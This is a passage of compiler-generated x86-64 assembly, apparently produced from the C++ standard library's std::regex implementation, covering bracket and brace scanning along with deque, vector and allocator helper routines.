end of regex when in bracket expression." .LC21: .string "Unexpected character class open bracket." _ZNSt8__detail8_ScannerIcE18_M_scan_in_bracketEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L928 mov esi, OFFSET FLAT:.LC20 mov edi, 4 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L928: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-1], al cmp BYTE PTR [rbp-1], 45 jne .L929 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 28 jmp .L930 .L929: cmp BYTE PTR [rbp-1], 91 jne .L931 mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L932 mov esi, OFFSET FLAT:.LC21 mov edi, 4 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L932: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 46 jne .L933 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 16 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail8_ScannerIcE12_M_eat_classEc jmp .L930 .L933: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 58 jne .L935 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 15 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail8_ScannerIcE12_M_eat_classEc jmp .L930 .L935: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 61 jne .L936 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 17 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail8_ScannerIcE12_M_eat_classEc jmp .L930 .L936: mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-24] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L930 .L931: cmp BYTE PTR [rbp-1], 93 jne .L937 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv test al, al jne .L938 mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+168] xor eax, 1 test al, al je .L937 .L938: mov eax, 1 jmp .L939 .L937: mov eax, 0 .L939: test al, al je .L940 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 11 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+136], 0 jmp .L930 .L940: cmp BYTE PTR [rbp-1], 92 jne .L941 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv test al, al jne .L942 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase9_M_is_awkEv test al, al je .L941 .L942: mov eax, 1 jmp .L943 .L941: mov eax, 0 .L943: test al, al je .L944 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+240] mov rdx, rax mov rax, QWORD PTR [rbp-24] add rdx, rax mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+232] and eax, 1 test rax, rax je .L945 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+240] mov rcx, rax mov rax, QWORD PTR [rbp-24] add rax, rcx mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+232] sub rax, 1 add rax, rcx mov rax, QWORD PTR [rax] jmp .L946 .L945: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+232] .L946: mov rdi, rdx call rax jmp .L930 .L944: mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-24] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc .L930: mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+168], 0 nop leave ret .LC22: .string "Unexpected end of regex when in brace expression." .LC23: .string "Unexpected character in brace expression." _ZNSt8__detail8_ScannerIcE16_M_scan_in_braceEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L948 mov esi, OFFSET FLAT:.LC22 mov edi, 6 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L948: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-1], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+192] movsx edx, BYTE PTR [rbp-1] mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L949 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 26 mov rax, QWORD PTR [rbp-24] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc .L953: mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L950 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+192] mov rdx, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rdx+176] movzx edx, BYTE PTR [rdx] movsx edx, dl mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L950 mov eax, 1 jmp .L951 .L950: mov eax, 0 .L951: test al, al je .L959 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx eax, al mov rdx, QWORD PTR [rbp-24] add rdx, 200 mov esi, eax mov rdi, rdx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc jmp .L953 .L949: cmp BYTE PTR [rbp-1], 44 jne .L954 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 25 jmp .L959 .L954: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase11_M_is_basicEv test al, al je .L955 cmp BYTE PTR [rbp-1], 92 jne .L956 mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L956 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 125 jne .L956 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+136], 0 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 13 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+176], rdx jmp .L959 .L956: mov esi, OFFSET FLAT:.LC23 mov edi, 7 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc jmp .L959 .L955: cmp BYTE PTR [rbp-1], 125 jne .L958 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+136], 0 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 13 jmp .L959 .L958: mov esi, OFFSET FLAT:.LC23 mov edi, 7 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L959: nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EEC2Ev: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE11_Deque_implC1Ev mov rax, QWORD PTR [rbp-24] mov esi, 0 mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE17_M_initialize_mapEm jmp .L963 mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE11_Deque_implD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L963: add rsp, 24 pop rbx pop rbp ret _ZNSt16allocator_traitsISaImEE9constructImJRKmEEEvRS0_PT_DpOT0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt7forwardIRKmEOT_RNSt16remove_referenceIS2_E4typeE mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorImE9constructImJRKmEEEvPT_DpOT0_ nop leave ret _ZNSt6vectorImSaImEE3endEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] lea rdx, [rax+8] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEC1ERKS1_ mov rax, QWORD PTR [rbp-8] leave ret .LC24: .string "vector::_M_realloc_insert" _ZNSt6vectorImSaImEE17_M_realloc_insertIJRKmEEEvN9__gnu_cxx17__normal_iteratorIPmS1_EEDpOT_: push rbp mov rbp, rsp push rbx sub rsp, 104 mov QWORD PTR [rbp-88], rdi mov QWORD PTR [rbp-96], rsi mov QWORD PTR [rbp-104], rdx mov rax, QWORD PTR [rbp-88] mov edx, OFFSET FLAT:.LC24 mov esi, 1 mov rdi, rax call _ZNKSt6vectorImSaImEE12_M_check_lenEmPKc mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+8] mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt6vectorImSaImEE5beginEv mov QWORD PTR [rbp-72], rax lea rdx, [rbp-72] lea rax, [rbp-96] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxmiIPmSt6vectorImSaImEEEENS_17__normal_iteratorIT_T0_E15difference_typeERKS8_SB_ mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-32] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseImSaImEE11_M_allocateEm mov QWORD PTR [rbp-64], rax mov rax, QWORD PTR [rbp-64] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-104] mov rdi, rax call _ZSt7forwardIRKmEOT_RNSt16remove_referenceIS2_E4typeE mov rsi, rax mov rax, QWORD PTR [rbp-56] lea rdx, [0+rax*8] mov rax, QWORD PTR [rbp-64] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-88] mov rdx, rsi mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaImEE9constructImJRKmEEEvRS0_PT_DpOT0_ mov QWORD PTR [rbp-24], 0 mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEE4baseEv mov rsi, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-64] mov rax, QWORD PTR [rbp-40] mov rcx, rbx mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPmS0_SaImEET0_T_S3_S2_RT1_ mov QWORD PTR [rbp-24], rax add QWORD PTR [rbp-24], 8 mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEE4baseEv mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rbp-48] mov rcx, rbx mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPmS0_SaImEET0_T_S3_S2_RT1_ mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv mov rdx, rax mov rcx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPmmEvT_S1_RSaIT0_E mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rdx+16] sub rdx, QWORD PTR [rbp-40] sar rdx, 3 mov rcx, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseImSaImEE13_M_deallocateEPmm mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-64] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-32] lea rdx, [0+rax*8] mov rax, QWORD PTR [rbp-64] add rdx, rax mov rax, QWORD PTR [rbp-88] mov QWORD PTR [rax+16], rdx jmp .L974 mov rdi, rax call __cxa_begin_catch cmp QWORD PTR [rbp-24], 0 jne .L969 mov rax, QWORD PTR [rbp-56] lea rdx, [0+rax*8] mov rax, QWORD PTR [rbp-64] add rdx, rax mov rax, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaImEE7destroyImEEvRS0_PT_ jmp .L970 .L969: mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv mov rdx, rax mov rcx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-64] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPmmEvT_S1_RSaIT0_E .L970: mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-32] mov rcx, QWORD PTR [rbp-64] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseImSaImEE13_M_deallocateEPmm call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L974: add rsp, 104 pop rbx pop rbp ret _ZN9__gnu_cxx16__aligned_membufISt8functionIFbcEEE7_M_addrEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt8functionIFbcEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt14_Function_baseC2Ev nop leave ret _ZNSt8__detail6_StateIcE14_M_get_matcherEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 16 mov rdi, rax call _ZN9__gnu_cxx16__aligned_membufISt8functionIFbcEEE7_M_addrEv leave ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE9push_backEOS2_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE12emplace_backIJS2_EEERS2_DpOT_ nop leave ret _ZSt4moveIRSt8functionIFbcEEEONSt16remove_referenceIT_E4typeEOS5_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt8functionIFbcEEC2EOS1_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt14_Function_baseC2Ev mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEE4swapERS1_ nop leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE7_M_termEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE12_M_assertionEv test al, al je .L985 mov eax, 1 jmp .L986 .L985: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE7_M_atomEv test al, al je .L987 .L989: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE13_M_quantifierEv test al, al je .L988 jmp .L989 .L988: mov eax, 1 jmp .L986 .L987: mov eax, 0 .L986: leave ret _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE9push_backERKS5_ nop leave ret _ZSt4moveIRNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEONSt16remove_referenceIT_E4typeEOS8_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE9push_backEOS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt4moveIRNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE12emplace_backIJS5_EEERS5_DpOT_ nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE4backEv: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-40], rdi lea rax, [rbp-32] mov rdx, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE3endEv lea rax, [rbp-32] mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EmmEv lea rax, [rbp-32] mov rdi, rax call _ZNKSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EdeEv nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE8pop_backEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+56] cmp rdx, rax je .L997 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+48] lea rdx, [rax-24] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+48], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE7destroyIS5_EEvRS6_PT_ jmp .L999 .L997: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_pop_back_auxEv .L999: nop leave ret _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEmiEl: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-32] sal rdx, 3 neg rdx add rax, rdx mov QWORD PTR [rbp-8], rax lea rdx, [rbp-8] lea rax, [rbp-16] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEC1ERKS1_ mov rax, QWORD PTR [rbp-16] leave ret _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEdeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret _ZNSt16allocator_traitsISaImEE7destroyImEEvRS0_PT_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorImE7destroyImEEvPT_ nop leave ret _ZN9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEC2ERKS4_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEE4baseEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE18_M_deallocate_nodeEPS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov edi, 24 call _ZSt16__deque_buf_sizem mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE10deallocateERS6_PS5_m nop leave ret _ZNKSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE20_M_get_map_allocatorEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZNKSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC1IS4_EERKSaIT_E mov rax, QWORD PTR [rbp-8] leave ret _ZNSaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev nop leave ret _ZNSt16allocator_traitsISaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE10deallocateERS7_PS6_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE10deallocateEPS7_m nop leave ret _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEEC2ERKS6_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE10deallocateEPS5_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8max_sizeEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdi, rax call _ZNSt16allocator_traitsISaINSt7__cxx119sub_matchIPKcEEEE8max_sizeERKS5_ leave ret _ZSt27__uninitialized_default_n_aIPNSt7__cxx119sub_matchIPKcEEmS4_ET_S6_T0_RSaIT1_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt25__uninitialized_default_nIPNSt7__cxx119sub_matchIPKcEEmET_S6_T0_ leave ret _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE12_M_check_lenEmS3_: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8max_sizeEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv sub rbx, rax mov rdx, rbx mov rax, QWORD PTR [rbp-48] cmp rdx, rax setb al test al, al je .L1022 mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZSt20__throw_length_errorPKc .L1022: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov QWORD PTR [rbp-32], rax lea rdx, [rbp-48] lea rax, [rbp-32] mov rsi, rdx mov rdi, rax call _ZSt3maxImERKT_S2_S2_ mov rax, QWORD PTR [rax] add rax, rbx mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv cmp QWORD PTR [rbp-24], rax jb .L1023 mov rax, QWORD PTR [rbp-40] mov rdi, rax call 